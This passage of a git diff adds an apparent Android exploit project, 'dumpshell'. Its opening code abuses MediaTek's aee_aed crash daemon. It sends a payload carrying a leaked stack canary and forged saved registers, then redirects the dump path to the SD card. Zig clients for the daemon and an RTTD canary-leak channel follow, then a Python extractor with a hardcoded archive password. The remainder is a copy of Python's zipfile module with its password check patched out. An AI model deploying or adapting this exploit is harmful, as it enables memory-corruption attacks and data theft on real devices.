REPORT_MODULE_OFFSET + REPORT_TMPDATABASE_OFFSET); + print("Report addr: {x}\n", .{@as(usize, @bitCast(report_addr))}); + + // r4 = Report object address + // r5 = Report object fd + // + // We need r5 to be 0, 1, or 2 because it hangs if it's not a valid file descriptor. + // Conveniently, aee_aed is a daemon (hence the name...) so 0, 1, and 2 is /dev/null + var frame: FrameSave32 = .{ + .canary = params.canary, + .r4 = @bitCast(report_addr), + .r5 = 0, + }; + // Only data before the r5 register needs to be written + @memcpy(payload[TRIGGER_CANARY_OFFSET..], @as([*]const u8, @ptrCast(&frame))[0..@sizeOf(FrameSave32)]); + try trigger(&process_client, payload[0 .. TRIGGER_CANARY_OFFSET + @offsetOf(FrameSave32, "r5")]); + + // Overwrite the dump path with our own + // Use SDCard because it's always readable and writable by everybody, + // so the data can be cleared if root writes to this file. + // This is not the case with /data/local/tmp as I learned the hard way... + var dump_path_buf: [DBPATH_MAX]u8 = undefined; + var dump_path = try mkdbpath(params.dbnum, &dump_path_buf); + var hdr: AedProcHeader = .{ + .cmdtype = 0, + .cmd = 0, + .seq = 0, + .exp = 0, + }; + _ = try process_client.read(&hdr, &.{}); + hdr.len = dump_path.len; + _ = try process_client.write(&hdr, dump_path); + process_client.close(); + // Don't want to print null byte in dump path + print("{s} DUMP SUCCESSFUL ({s})\n", .{ STABLE_BANNER, dump_path[0 .. dump_path.len - 1] }); + } +} diff --git a/dumpshell/src/processd.zig b/dumpshell/src/processd.zig new file mode 100644 index 0000000..6daea0a --- /dev/null +++ b/dumpshell/src/processd.zig @@ -0,0 +1,100 @@ +const std = @import("std"); +const os = std.os; +const print = std.debug.print; +const android = @import("android.zig"); + +/// Code for interacting with aed_process_worker on the unit +pub const AedProcCmdType = enum(u32) { + req = 0, + // Present, but not supported :( + resp = 1, + ind = 2, +}; + +pub const AedProcCmd = enum(u32) { + class = 1, + typ = 2, + process = 3, + module = 4, + backtrace = 5, + detail = 6, + ind_fatal = 11, + ind_exp = 12, + ind_wrn = 13, + ind_rem = 14, + ind_log_status = 15, + ind_log_close = 16, + coredump = 22, + userspace_backtrace = 40, + user_reg = 41, + user_maps = 42, + trigger_time = 43, + fd_info = 44, + maps_info = 45, +}; + +pub const AedProcExp = enum(u32) { + kernel = 0, + hw_reboot = 2, + native = 3, + java = 4, + swt = 5, + external = 6, + resmon = 9, + modem_warn = 10, + wtf = 11, + undef = 12, + manual_dump = 13, + kernel_dump = 1000, + system_dump = 1001, + system_dump_2 = 1002, + mrdump = 1003, + s_reboot = 1004, + hang = 1005, + ocp_reboot = 1006, + sec_reboot = 1007, + reboot_exception = 1008, + // TODO: Add more AED EXPs +}; + +// It seems that, when sending the opening packet, +// seq becomes the pid and len becomes the tid. +// Weird... +pub const AedProcHeader = extern struct { + cmdtype: u32, + cmd: u32, + seq: u32, + exp: u32, + len: u32 = 0, + dbopt: u32 = 0, +}; + +pub const ProcessClient = struct { + stream: std.net.Stream, + + pub fn init(stream: std.net.Stream) ProcessClient { + return .{ .stream = stream }; + } + pub fn close(self: ProcessClient) void { + self.stream.close(); + } + pub fn write(self: ProcessClient, hdr: *AedProcHeader, data: []const u8) !void { + var iovecs: [2]std.os.iovec_const = .{ + .{ + .iov_base = @as([*]const u8, @ptrCast(hdr)), + .iov_len = @sizeOf(AedProcHeader), + }, + .{ .iov_base = @ptrCast(data), .iov_len = data.len }, + }; + _ = try self.stream.writevAll(&iovecs); + } + pub fn writev(self: ProcessClient, hdr: *AedProcHeader, iovecs: []std.os.iovec_const) !void { + _ = try self.stream.writeAll(@as([*]const u8, @ptrCast(hdr))[0..@sizeOf(AedProcHeader)]); + _ = try self.stream.writevAll(iovecs); + } + pub fn read(self: ProcessClient, hdr: *AedProcHeader, data: []u8) !void { + _ = try self.stream.readAll(@as([*]u8, @ptrCast(hdr))[0..@sizeOf(AedProcHeader)]); + if (hdr.len > data.len) return std.os.ReadError.InputOutput; + _ = try self.stream.readAll(data[0..hdr.len]); + } +}; diff --git a/dumpshell/src/rttd.zig b/dumpshell/src/rttd.zig new file mode 100644 index 0000000..afb1512 --- /dev/null +++ b/dumpshell/src/rttd.zig @@ -0,0 +1,34 @@ +const std = @import("std"); +const os = std.os; +const android = @import("android.zig"); +const print = std.debug.print; + + +/// Communicate with RTTD and leak a stack canary! +pub const RTTCmd = enum(u32) { + clean_dal = 2, +}; + +pub const RTTPacket = extern struct { + unk1: i32 = 0, + cmd: u32, + pid: i32, + unk2: i32 = 0, + unk3: i32 = 0, + unk4: i32 = 0, + data: [84]u8 = undefined, +}; + +pub const RTTClient = struct { + stream: std.net.Stream, + + pub fn init(stream: std.net.Stream) RTTClient { + return .{ .stream = stream }; + } + pub fn close(self: RTTClient) void { + self.stream.close(); + } + pub fn write(self: RTTClient, packet: *const RTTPacket) !void { + return self.stream.writeAll(@as([*]const u8, @ptrCast(packet))[0..@sizeOf(RTTPacket)]); + } +}; diff --git a/dumpshell/tools/extractdb.py b/dumpshell/tools/extractdb.py new file mode 100644 index 0000000..6dc955c --- /dev/null +++ b/dumpshell/tools/extractdb.py @@ -0,0 +1,52 @@ +#!/usr/bin/env python3 +import sys +import os +from zipfile_patched import ZipFile + +FILENAME_BEGIN = b'APOSZexandtl' +DB_PASSWD = b'Z8wQh6o3' + +CHOICE_PREFIX = 0 +CHOICE_MIDDLE = 1 +CHOICE_SUFFIX = 2 + +def decfilename(enc): + prelen,midlen,suflen = 0,0,0 + for i in range(len(enc)): + choice = ((i // 3) + (((i * 0xaaaaaaab) >> 0x20) & 0xfffffffe)) & 0xffffffff + if i - choice == 1: + midlen += 1 + elif i == choice: + prelen += 1 + else: + suflen += 1 + prefix = iter(enc[:prelen]) + middle = iter(enc[prelen:prelen+midlen]) + suffix = iter(enc[prelen+midlen:prelen+midlen+suflen]) + dec = bytearray() + for i in range(len(enc)): + choice = ((i // 3) + (((i * 0xaaaaaaab) >> 0x20) & 0xfffffffe)) & 0xffffffff + if i - choice == 1: + dec.append(next(middle)) + elif i == choice: + dec.append(next(prefix)) + else: + dec.append(next(suffix)) + finalname = dec[::-1] + if not finalname.startswith(FILENAME_BEGIN): + raise ValueError("Filename provided does not start with encryption prefix!") + return bytes(finalname[len(FILENAME_BEGIN):]) + +def main(): + if len(sys.argv) < 3: + print(f"Usage: {sys.argv[0]} ") + sys.exit(1) + zipname = sys.argv[1] + output = sys.argv[2] + with ZipFile(zipname) as fp: + fp.extractall(path=output, pwd=DB_PASSWD) + for fname in os.listdir(output): + os.rename(os.path.join(output, fname), os.path.join(output.encode(), decfilename(fname.encode()))) + +if __name__ == '__main__': + main() diff --git a/dumpshell/tools/zipfile_patched.py b/dumpshell/tools/zipfile_patched.py new file mode 100644 index 0000000..322cb17 --- /dev/null +++ b/dumpshell/tools/zipfile_patched.py @@ -0,0 +1,2240 @@ +""" +Read and write ZIP files. + +XXX references to utf-8 need further investigation. +""" +import binascii +import importlib.util +import io +import os +import shutil +import stat +import struct +import sys +import threading +import time + +try: + import zlib # We may need its compression method + crc32 = zlib.crc32 +except ImportError: + zlib = None + crc32 = binascii.crc32 + +try: + import bz2 # We may need its compression method +except ImportError: + bz2 = None + +try: + import lzma # We may need its compression method +except ImportError: + lzma = None + +__all__ = ["BadZipFile", "BadZipfile", "error", + "ZIP_STORED", "ZIP_DEFLATED", "ZIP_BZIP2", "ZIP_LZMA", + "is_zipfile", "ZipInfo", "ZipFile", "PyZipFile", "LargeZipFile", + "Path"] + +class BadZipFile(Exception): + pass + + +class LargeZipFile(Exception): + """ + Raised when writing a zipfile, the zipfile requires ZIP64 extensions + and those extensions are disabled. + """ + +error = BadZipfile = BadZipFile # Pre-3.2 compatibility names + + +ZIP64_LIMIT = (1 << 31) - 1 +ZIP_FILECOUNT_LIMIT = (1 << 16) - 1 +ZIP_MAX_COMMENT = (1 << 16) - 1 + +# constants for Zip file compression methods +ZIP_STORED = 0 +ZIP_DEFLATED = 8 +ZIP_BZIP2 = 12 +ZIP_LZMA = 14 +# Other ZIP compression methods not supported + +DEFAULT_VERSION = 20 +ZIP64_VERSION = 45 +BZIP2_VERSION = 46 +LZMA_VERSION = 63 +# we recognize (but not necessarily support) all features up to that version +MAX_EXTRACT_VERSION = 63 + +# Below are some formats and associated data for reading/writing headers using +# the struct module. The names and structures of headers/records are those used +# in the PKWARE description of the ZIP file format: +# http://www.pkware.com/documents/casestudies/APPNOTE.TXT +# (URL valid as of January 2008) + +# The "end of central directory" structure, magic number, size, and indices +# (section V.I in the format document) +structEndArchive = b"<4s4H2LH" +stringEndArchive = b"PK\005\006" +sizeEndCentDir = struct.calcsize(structEndArchive) + +_ECD_SIGNATURE = 0 +_ECD_DISK_NUMBER = 1 +_ECD_DISK_START = 2 +_ECD_ENTRIES_THIS_DISK = 3 +_ECD_ENTRIES_TOTAL = 4 +_ECD_SIZE = 5 +_ECD_OFFSET = 6 +_ECD_COMMENT_SIZE = 7 +# These last two indices are not part of the structure as defined in the +# spec, but they are used internally by this module as a convenience +_ECD_COMMENT = 8 +_ECD_LOCATION = 9 + +# The "central directory" structure, magic number, size, and indices +# of entries in the structure (section V.F in the format document) +structCentralDir = "<4s4B4HL2L5H2L" +stringCentralDir = b"PK\001\002" +sizeCentralDir = struct.calcsize(structCentralDir) + +# indexes of entries in the central directory structure +_CD_SIGNATURE = 0 +_CD_CREATE_VERSION = 1 +_CD_CREATE_SYSTEM = 2 +_CD_EXTRACT_VERSION = 3 +_CD_EXTRACT_SYSTEM = 4 +_CD_FLAG_BITS = 5 +_CD_COMPRESS_TYPE = 6 +_CD_TIME = 7 +_CD_DATE = 8 +_CD_CRC = 9 +_CD_COMPRESSED_SIZE = 10 +_CD_UNCOMPRESSED_SIZE = 11 +_CD_FILENAME_LENGTH = 12 +_CD_EXTRA_FIELD_LENGTH = 13 +_CD_COMMENT_LENGTH = 14 +_CD_DISK_NUMBER_START = 15 +_CD_INTERNAL_FILE_ATTRIBUTES = 16 +_CD_EXTERNAL_FILE_ATTRIBUTES = 17 +_CD_LOCAL_HEADER_OFFSET = 18 + +# General purpose bit flags +# Zip Appnote: 4.4.4 general purpose bit flag: (2 bytes) +_MASK_ENCRYPTED = 1 << 0 +# Bits 1 and 2 have different meanings depending on the compression used. +_MASK_COMPRESS_OPTION_1 = 1 << 1 +# _MASK_COMPRESS_OPTION_2 = 1 << 2 +# _MASK_USE_DATA_DESCRIPTOR: If set, crc-32, compressed size and uncompressed +# size are zero in the local header and the real values are written in the data +# descriptor immediately following the compressed data. +_MASK_USE_DATA_DESCRIPTOR = 1 << 3 +# Bit 4: Reserved for use with compression method 8, for enhanced deflating. +# _MASK_RESERVED_BIT_4 = 1 << 4 +_MASK_COMPRESSED_PATCH = 1 << 5 +_MASK_STRONG_ENCRYPTION = 1 << 6 +# _MASK_UNUSED_BIT_7 = 1 << 7 +# _MASK_UNUSED_BIT_8 = 1 << 8 +# _MASK_UNUSED_BIT_9 = 1 << 9 +# _MASK_UNUSED_BIT_10 = 1 << 10 +_MASK_UTF_FILENAME = 1 << 11 +# Bit 12: Reserved by PKWARE for enhanced compression. +# _MASK_RESERVED_BIT_12 = 1 << 12 +# _MASK_ENCRYPTED_CENTRAL_DIR = 1 << 13 +# Bit 14, 15: Reserved by PKWARE +# _MASK_RESERVED_BIT_14 = 1 << 14 +# _MASK_RESERVED_BIT_15 = 1 << 15 + +# The "local file header" structure, magic number, size, and indices +# (section V.A in the format document) +structFileHeader = "<4s2B4HL2L2H" +stringFileHeader = b"PK\003\004" +sizeFileHeader = struct.calcsize(structFileHeader) + +_FH_SIGNATURE = 0 +_FH_EXTRACT_VERSION = 1 +_FH_EXTRACT_SYSTEM = 2 +_FH_GENERAL_PURPOSE_FLAG_BITS = 3 +_FH_COMPRESSION_METHOD = 4 +_FH_LAST_MOD_TIME = 5 +_FH_LAST_MOD_DATE = 6 +_FH_CRC = 7 +_FH_COMPRESSED_SIZE = 8 +_FH_UNCOMPRESSED_SIZE = 9 +_FH_FILENAME_LENGTH = 10 +_FH_EXTRA_FIELD_LENGTH = 11 + +# The "Zip64 end of central directory locator" structure, magic number, and size +structEndArchive64Locator = "<4sLQL" +stringEndArchive64Locator = b"PK\x06\x07" +sizeEndCentDir64Locator = struct.calcsize(structEndArchive64Locator) + +# The "Zip64 end of central directory" record, magic number, size, and indices +# (section V.G in the format document) +structEndArchive64 = "<4sQ2H2L4Q" +stringEndArchive64 = b"PK\x06\x06" +sizeEndCentDir64 = struct.calcsize(structEndArchive64) + +_CD64_SIGNATURE = 0 +_CD64_DIRECTORY_RECSIZE = 1 +_CD64_CREATE_VERSION = 2 +_CD64_EXTRACT_VERSION = 3 +_CD64_DISK_NUMBER = 4 +_CD64_DISK_NUMBER_START = 5 +_CD64_NUMBER_ENTRIES_THIS_DISK = 6 +_CD64_NUMBER_ENTRIES_TOTAL = 7 +_CD64_DIRECTORY_SIZE = 8 +_CD64_OFFSET_START_CENTDIR = 9 + +_DD_SIGNATURE = 0x08074b50 + + +class _Extra(bytes): + FIELD_STRUCT = struct.Struct(' 1: + raise BadZipFile("zipfiles that span multiple disks are not supported") + + # Assume no 'zip64 extensible data' + fpin.seek(offset - sizeEndCentDir64Locator - sizeEndCentDir64, 2) + data = fpin.read(sizeEndCentDir64) + if len(data) != sizeEndCentDir64: + return endrec + sig, sz, create_version, read_version, disk_num, disk_dir, \ + dircount, dircount2, dirsize, diroffset = \ + struct.unpack(structEndArchive64, data) + if sig != stringEndArchive64: + return endrec + + # Update the original endrec using data from the ZIP64 record + endrec[_ECD_SIGNATURE] = sig + endrec[_ECD_DISK_NUMBER] = disk_num + endrec[_ECD_DISK_START] = disk_dir + endrec[_ECD_ENTRIES_THIS_DISK] = dircount + endrec[_ECD_ENTRIES_TOTAL] = dircount2 + endrec[_ECD_SIZE] = dirsize + endrec[_ECD_OFFSET] = diroffset + return endrec + + +def _EndRecData(fpin): + """Return data from the "End of Central Directory" record, or None. + + The data is a list of the nine items in the ZIP "End of central dir" + record followed by a tenth item, the file seek offset of this record.""" + + # Determine file size + fpin.seek(0, 2) + filesize = fpin.tell() + + # Check to see if this is ZIP file with no archive comment (the + # "end of central directory" structure should be the last item in the + # file if this is the case). + try: + fpin.seek(-sizeEndCentDir, 2) + except OSError: + return None + data = fpin.read() + if (len(data) == sizeEndCentDir and + data[0:4] == stringEndArchive and + data[-2:] == b"\000\000"): + # the signature is correct and there's no comment, unpack structure + endrec = struct.unpack(structEndArchive, data) + endrec=list(endrec) + + # Append a blank comment and record start offset + endrec.append(b"") + endrec.append(filesize - sizeEndCentDir) + + # Try to read the "Zip64 end of central directory" structure + return _EndRecData64(fpin, -sizeEndCentDir, endrec) + + # Either this is not a ZIP file, or it is a ZIP file with an archive + # comment. Search the end of the file for the "end of central directory" + # record signature. The comment is the last item in the ZIP file and may be + # up to 64K long. It is assumed that the "end of central directory" magic + # number does not appear in the comment. + maxCommentStart = max(filesize - (1 << 16) - sizeEndCentDir, 0) + fpin.seek(maxCommentStart, 0) + data = fpin.read() + start = data.rfind(stringEndArchive) + if start >= 0: + # found the magic number; attempt to unpack and interpret + recData = data[start:start+sizeEndCentDir] + if len(recData) != sizeEndCentDir: + # Zip file is corrupted. + return None + endrec = list(struct.unpack(structEndArchive, recData)) + commentSize = endrec[_ECD_COMMENT_SIZE] #as claimed by the zip file + comment = data[start+sizeEndCentDir:start+sizeEndCentDir+commentSize] + endrec.append(comment) + endrec.append(maxCommentStart + start) + + # Try to read the "Zip64 end of central directory" structure + return _EndRecData64(fpin, maxCommentStart + start - filesize, + endrec) + + # Unable to find a valid end of central directory structure + return None + +def _sanitize_filename(filename): + """Terminate the file name at the first null byte and + ensure paths always use forward slashes as the directory separator.""" + + # Terminate the file name at the first null byte. Null bytes in file + # names are used as tricks by viruses in archives. + null_byte = filename.find(chr(0)) + if null_byte >= 0: + filename = filename[0:null_byte] + # This is used to ensure paths in generated ZIP files always use + # forward slashes as the directory separator, as required by the + # ZIP format specification. + if os.sep != "/" and os.sep in filename: + filename = filename.replace(os.sep, "/") + if os.altsep and os.altsep != "/" and os.altsep in filename: + filename = filename.replace(os.altsep, "/") + return filename + + +class ZipInfo (object): + """Class with attributes describing each file in the ZIP archive.""" + + __slots__ = ( + 'orig_filename', + 'filename', + 'date_time', + 'compress_type', + '_compresslevel', + 'comment', + 'extra', + 'create_system', + 'create_version', + 'extract_version', + 'reserved', + 'flag_bits', + 'volume', + 'internal_attr', + 'external_attr', + 'header_offset', + 'CRC', + 'compress_size', + 'file_size', + '_raw_time', + ) + + def __init__(self, filename="NoName", date_time=(1980,1,1,0,0,0)): + self.orig_filename = filename # Original file name in archive + + # Terminate the file name at the first null byte and + # ensure paths always use forward slashes as the directory separator. + filename = _sanitize_filename(filename) + + self.filename = filename # Normalized file name + self.date_time = date_time # year, month, day, hour, min, sec + + if date_time[0] < 1980: + raise ValueError('ZIP does not support timestamps before 1980') + + # Standard values: + self.compress_type = ZIP_STORED # Type of compression for the file + self._compresslevel = None # Level for the compressor + self.comment = b"" # Comment for each file + self.extra = b"" # ZIP extra data + if sys.platform == 'win32': + self.create_system = 0 # System which created ZIP archive + else: + # Assume everything else is unix-y + self.create_system = 3 # System which created ZIP archive + self.create_version = DEFAULT_VERSION # Version which created ZIP archive + self.extract_version = DEFAULT_VERSION # Version needed to extract archive + self.reserved = 0 # Must be zero + self.flag_bits = 0 # ZIP flag bits + self.volume = 0 # Volume number of file header + self.internal_attr = 0 # Internal attributes + self.external_attr = 0 # External file attributes + self.compress_size = 0 # Size of the compressed file + self.file_size = 0 # Size of the uncompressed file + # Other attributes are set by class ZipFile: + # header_offset Byte offset to the file header + # CRC CRC-32 of the uncompressed file + + def __repr__(self): + result = ['<%s filename=%r' % (self.__class__.__name__, self.filename)] + if self.compress_type != ZIP_STORED: + result.append(' compress_type=%s' % + compressor_names.get(self.compress_type, + self.compress_type)) + hi = self.external_attr >> 16 + lo = self.external_attr & 0xFFFF + if hi: + result.append(' filemode=%r' % stat.filemode(hi)) + if lo: + result.append(' external_attr=%#x' % lo) + isdir = self.is_dir() + if not isdir or self.file_size: + result.append(' file_size=%r' % self.file_size) + if ((not isdir or self.compress_size) and + (self.compress_type != ZIP_STORED or + self.file_size != self.compress_size)): + result.append(' compress_size=%r' % self.compress_size) + result.append('>') + return ''.join(result) + + def FileHeader(self, zip64=None): + """Return the per-file header as a bytes object. + + When the optional zip64 arg is None rather than a bool, we will + decide based upon the file_size and compress_size, if known, + False otherwise. + """ + dt = self.date_time + dosdate = (dt[0] - 1980) << 9 | dt[1] << 5 | dt[2] + dostime = dt[3] << 11 | dt[4] << 5 | (dt[5] // 2) + if self.flag_bits & _MASK_USE_DATA_DESCRIPTOR: + # Set these to zero because we write them after the file data + CRC = compress_size = file_size = 0 + else: + CRC = self.CRC + compress_size = self.compress_size + file_size = self.file_size + + extra = self.extra + + min_version = 0 + if zip64 is None: + # We always explicitly pass zip64 within this module.... This + # remains for anyone using ZipInfo.FileHeader as a public API. + zip64 = file_size > ZIP64_LIMIT or compress_size > ZIP64_LIMIT + if zip64: + fmt = '= 4: + tp, ln = unpack(' len(extra): + raise BadZipFile("Corrupt extra field %04x (size=%d)" % (tp, ln)) + if tp == 0x0001: + data = extra[4:ln+4] + # ZIP64 extension (large files and/or large archives) + try: + if self.file_size in (0xFFFF_FFFF_FFFF_FFFF, 0xFFFF_FFFF): + field = "File size" + self.file_size, = unpack(' 2107: + date_time = (2107, 12, 31, 23, 59, 59) + # Create ZipInfo instance to store file information + if arcname is None: + arcname = filename + arcname = os.path.normpath(os.path.splitdrive(arcname)[1]) + while arcname[0] in (os.sep, os.altsep): + arcname = arcname[1:] + if isdir: + arcname += '/' + zinfo = cls(arcname, date_time) + zinfo.external_attr = (st.st_mode & 0xFFFF) << 16 # Unix attributes + if isdir: + zinfo.file_size = 0 + zinfo.external_attr |= 0x10 # MS-DOS directory flag + else: + zinfo.file_size = st.st_size + + return zinfo + + def is_dir(self): + """Return True if this archive member is a directory.""" + return self.filename.endswith('/') + + +# ZIP encryption uses the CRC32 one-byte primitive for scrambling some +# internal keys. We noticed that a direct implementation is faster than +# relying on binascii.crc32(). + +_crctable = None +def _gen_crc(crc): + for j in range(8): + if crc & 1: + crc = (crc >> 1) ^ 0xEDB88320 + else: + crc >>= 1 + return crc + +# ZIP supports a password-based form of encryption. Even though known +# plaintext attacks have been found against it, it is still useful +# to be able to get data out of such a file. +# +# Usage: +# zd = _ZipDecrypter(mypwd) +# plain_bytes = zd(cypher_bytes) + +def _ZipDecrypter(pwd): + key0 = 305419896 + key1 = 591751049 + key2 = 878082192 + + global _crctable + if _crctable is None: + _crctable = list(map(_gen_crc, range(256))) + crctable = _crctable + + def crc32(ch, crc): + """Compute the CRC32 primitive on one byte.""" + return (crc >> 8) ^ crctable[(crc ^ ch) & 0xFF] + + def update_keys(c): + nonlocal key0, key1, key2 + key0 = crc32(c, key0) + key1 = (key1 + (key0 & 0xFF)) & 0xFFFFFFFF + key1 = (key1 * 134775813 + 1) & 0xFFFFFFFF + key2 = crc32(key1 >> 24, key2) + + for p in pwd: + update_keys(p) + + def decrypter(data): + """Decrypt a bytes object.""" + result = bytearray() + append = result.append + for c in data: + k = key2 | 2 + c ^= ((k * (k^1)) >> 8) & 0xFF + update_keys(c) + append(c) + return bytes(result) + + return decrypter + + +class LZMACompressor: + + def __init__(self): + self._comp = None + + def _init(self): + props = lzma._encode_filter_properties({'id': lzma.FILTER_LZMA1}) + self._comp = lzma.LZMACompressor(lzma.FORMAT_RAW, filters=[ + lzma._decode_filter_properties(lzma.FILTER_LZMA1, props) + ]) + return struct.pack('> 8) & 0xff + else: + # compare against the CRC otherwise + check_byte = (zipinfo.CRC >> 24) & 0xff + h = self._init_decrypter() + if h != check_byte: + pass + # This has to be patched out because libaed.so hardcodes the CRC to be 0 + # raise RuntimeError("Bad password for file %r" % zipinfo.orig_filename) + + + def _init_decrypter(self): + self._decrypter = _ZipDecrypter(self._pwd) + # The first 12 bytes in the cypher stream is an encryption header + # used to strengthen the algorithm. The first 11 bytes are + # completely random, while the 12th contains the MSB of the CRC, + # or the MSB of the file time depending on the header type + # and is used to check the correctness of the password. + header = self._fileobj.read(12) + self._compress_left -= 12 + return self._decrypter(header)[11] + + def __repr__(self): + result = ['<%s.%s' % (self.__class__.__module__, + self.__class__.__qualname__)] + if not self.closed: + result.append(' name=%r mode=%r' % (self.name, self.mode)) + if self._compress_type != ZIP_STORED: + result.append(' compress_type=%s' % + compressor_names.get(self._compress_type, + self._compress_type)) + else: + result.append(' [closed]') + result.append('>') + return ''.join(result) + + def readline(self, limit=-1): + """Read and return a line from the stream. + + If limit is specified, at most limit bytes will be read. + """ + + if limit < 0: + # Shortcut common case - newline found in buffer. + i = self._readbuffer.find(b'\n', self._offset) + 1 + if i > 0: + line = self._readbuffer[self._offset: i] + self._offset = i + return line + + return io.BufferedIOBase.readline(self, limit) + + def peek(self, n=1): + """Returns buffered bytes without advancing the position.""" + if n > len(self._readbuffer) - self._offset: + chunk = self.read(n) + if len(chunk) > self._offset: + self._readbuffer = chunk + self._readbuffer[self._offset:] + self._offset = 0 + else: + self._offset -= len(chunk) + + # Return up to 512 bytes to reduce allocation overhead for tight loops. + return self._readbuffer[self._offset: self._offset + 512] + + def readable(self): + if self.closed: + raise ValueError("I/O operation on closed file.") + return True + + def read(self, n=-1): + """Read and return up to n bytes. + If the argument is omitted, None, or negative, data is read and returned until EOF is reached. + """ + if self.closed: + raise ValueError("read from closed file.") + if n is None or n < 0: + buf = self._readbuffer[self._offset:] + self._readbuffer = b'' + self._offset = 0 + while not self._eof: + buf += self._read1(self.MAX_N) + return buf + + end = n + self._offset + if end < len(self._readbuffer): + buf = self._readbuffer[self._offset:end] + self._offset = end + return buf + + n = end - len(self._readbuffer) + buf = self._readbuffer[self._offset:] + self._readbuffer = b'' + self._offset = 0 + while n > 0 and not self._eof: + data = self._read1(n) + if n < len(data): + self._readbuffer = data + self._offset = n + buf += data[:n] + break + buf += data + n -= len(data) + return buf + + def _update_crc(self, newdata): + # Update the CRC using the given data. + if self._expected_crc is None: + # No need to compute the CRC if we don't have a reference value + return + self._running_crc = crc32(newdata, self._running_crc) + # Check the CRC if we're at the end of the file + if self._eof and self._running_crc != self._expected_crc: + raise BadZipFile("Bad CRC-32 for file %r" % self.name) + + def read1(self, n): + """Read up to n bytes with at most one read() system call.""" + + if n is None or n < 0: + buf = self._readbuffer[self._offset:] + self._readbuffer = b'' + self._offset = 0 + while not self._eof: + data = self._read1(self.MAX_N) + if data: + buf += data + break + return buf + + end = n + self._offset + if end < len(self._readbuffer): + buf = self._readbuffer[self._offset:end] + self._offset = end + return buf + + n = end - len(self._readbuffer) + buf = self._readbuffer[self._offset:] + self._readbuffer = b'' + self._offset = 0 + if n > 0: + while not self._eof: + data = self._read1(n) + if n < len(data): + self._readbuffer = data + self._offset = n + buf += data[:n] + break + if data: + buf += data + break + return buf + + def _read1(self, n): + # Read up to n compressed bytes with at most one read() system call, + # decrypt and decompress them. + if self._eof or n <= 0: + return b'' + + # Read from file. + if self._compress_type == ZIP_DEFLATED: + ## Handle unconsumed data. + data = self._decompressor.unconsumed_tail + if n > len(data): + data += self._read2(n - len(data)) + else: + data = self._read2(n) + + if self._compress_type == ZIP_STORED: + self._eof = self._compress_left <= 0 + elif self._compress_type == ZIP_DEFLATED: + n = max(n, self.MIN_READ_SIZE) + data = self._decompressor.decompress(data, n) + self._eof = (self._decompressor.eof or + self._compress_left <= 0 and + not self._decompressor.unconsumed_tail) + if self._eof: + data += self._decompressor.flush() + else: + data = self._decompressor.decompress(data) + self._eof = self._decompressor.eof or self._compress_left <= 0 + + data = data[:self._left] + self._left -= len(data) + if self._left <= 0: + self._eof = True + self._update_crc(data) + return data + + def _read2(self, n): + if self._compress_left <= 0: + return b'' + + n = max(n, self.MIN_READ_SIZE) + n = min(n, self._compress_left) + + data = self._fileobj.read(n) + self._compress_left -= len(data) + if not data: + raise EOFError + + if self._decrypter is not None: + data = self._decrypter(data) + return data + + def close(self): + try: + if self._close_fileobj: + self._fileobj.close() + finally: + super().close() + + def seekable(self): + if self.closed: + raise ValueError("I/O operation on closed file.") + return self._seekable + + def seek(self, offset, whence=os.SEEK_SET): + if self.closed: + raise ValueError("seek on closed file.") + if not self._seekable: + raise io.UnsupportedOperation("underlying stream is not seekable") + curr_pos = self.tell() + if whence == os.SEEK_SET: + new_pos = offset + elif whence == os.SEEK_CUR: + new_pos = curr_pos + offset + elif whence == os.SEEK_END: + new_pos = self._orig_file_size + offset + else: + raise ValueError("whence must be os.SEEK_SET (0), " + "os.SEEK_CUR (1), or os.SEEK_END (2)") + + if new_pos > self._orig_file_size: + new_pos = self._orig_file_size + + if new_pos < 0: + new_pos = 0 + + read_offset = new_pos - curr_pos + buff_offset = read_offset + self._offset + + # Fast seek uncompressed unencrypted file + if self._compress_type == ZIP_STORED and self._decrypter is None and read_offset > 0: + # disable CRC checking after first seeking - it would be invalid + self._expected_crc = None + # seek actual file taking already buffered data into account + read_offset -= len(self._readbuffer) - self._offset + self._fileobj.seek(read_offset, os.SEEK_CUR) + self._left -= read_offset + read_offset = 0 + # flush read buffer + self._readbuffer = b'' + self._offset = 0 + elif buff_offset >= 0 and buff_offset < len(self._readbuffer): + # Just move the _offset index if the new position is in the _readbuffer + self._offset = buff_offset + read_offset = 0 + elif read_offset < 0: + # Position is before the current position. Reset the ZipExtFile + self._fileobj.seek(self._orig_compress_start) + self._running_crc = self._orig_start_crc + self._expected_crc = self._orig_crc + self._compress_left = self._orig_compress_size + self._left = self._orig_file_size + self._readbuffer = b'' + self._offset = 0 + self._decompressor = _get_decompressor(self._compress_type) + self._eof = False + read_offset = new_pos + if self._decrypter is not None: + self._init_decrypter() + + while read_offset > 0: + read_len = min(self.MAX_SEEK_READ, read_offset) + self.read(read_len) + read_offset -= read_len + + return self.tell() + + def tell(self): + if self.closed: + raise ValueError("tell on closed file.") + if not self._seekable: + raise io.UnsupportedOperation("underlying stream is not seekable") + filepos = self._orig_file_size - self._left - len(self._readbuffer) + self._offset + return filepos + + +class _ZipWriteFile(io.BufferedIOBase): + def __init__(self, zf, zinfo, zip64): + self._zinfo = zinfo + self._zip64 = zip64 + self._zipfile = zf + self._compressor = _get_compressor(zinfo.compress_type, + zinfo._compresslevel) + self._file_size = 0 + self._compress_size = 0 + self._crc = 0 + + @property + def _fileobj(self): + return self._zipfile.fp + + def writable(self): + return True + + def write(self, data): + if self.closed: + raise ValueError('I/O operation on closed file.') + + # Accept any data that supports the buffer protocol + if isinstance(data, (bytes, bytearray)): + nbytes = len(data) + else: + data = memoryview(data) + nbytes = data.nbytes + self._file_size += nbytes + + self._crc = crc32(data, self._crc) + if self._compressor: + data = self._compressor.compress(data) + self._compress_size += len(data) + self._fileobj.write(data) + return nbytes + + def close(self): + if self.closed: + return + try: + super().close() + # Flush any data from the compressor, and update header info + if self._compressor: + buf = self._compressor.flush() + self._compress_size += len(buf) + self._fileobj.write(buf) + self._zinfo.compress_size = self._compress_size + else: + self._zinfo.compress_size = self._file_size + self._zinfo.CRC = self._crc + self._zinfo.file_size = self._file_size + + if not self._zip64: + if self._file_size > ZIP64_LIMIT: + raise RuntimeError("File size too large, try using force_zip64") + if self._compress_size > ZIP64_LIMIT: + raise RuntimeError("Compressed size too large, try using force_zip64") + + # Write updated header info + if self._zinfo.flag_bits & _MASK_USE_DATA_DESCRIPTOR: + # Write CRC and file sizes after the file data + fmt = '') + return ''.join(result) + + def _RealGetContents(self): + """Read in the table of contents for the ZIP file.""" + fp = self.fp + try: + endrec = _EndRecData(fp) + except OSError: + raise BadZipFile("File is not a zip file") + if not endrec: + raise BadZipFile("File is not a zip file") + if self.debug > 1: + 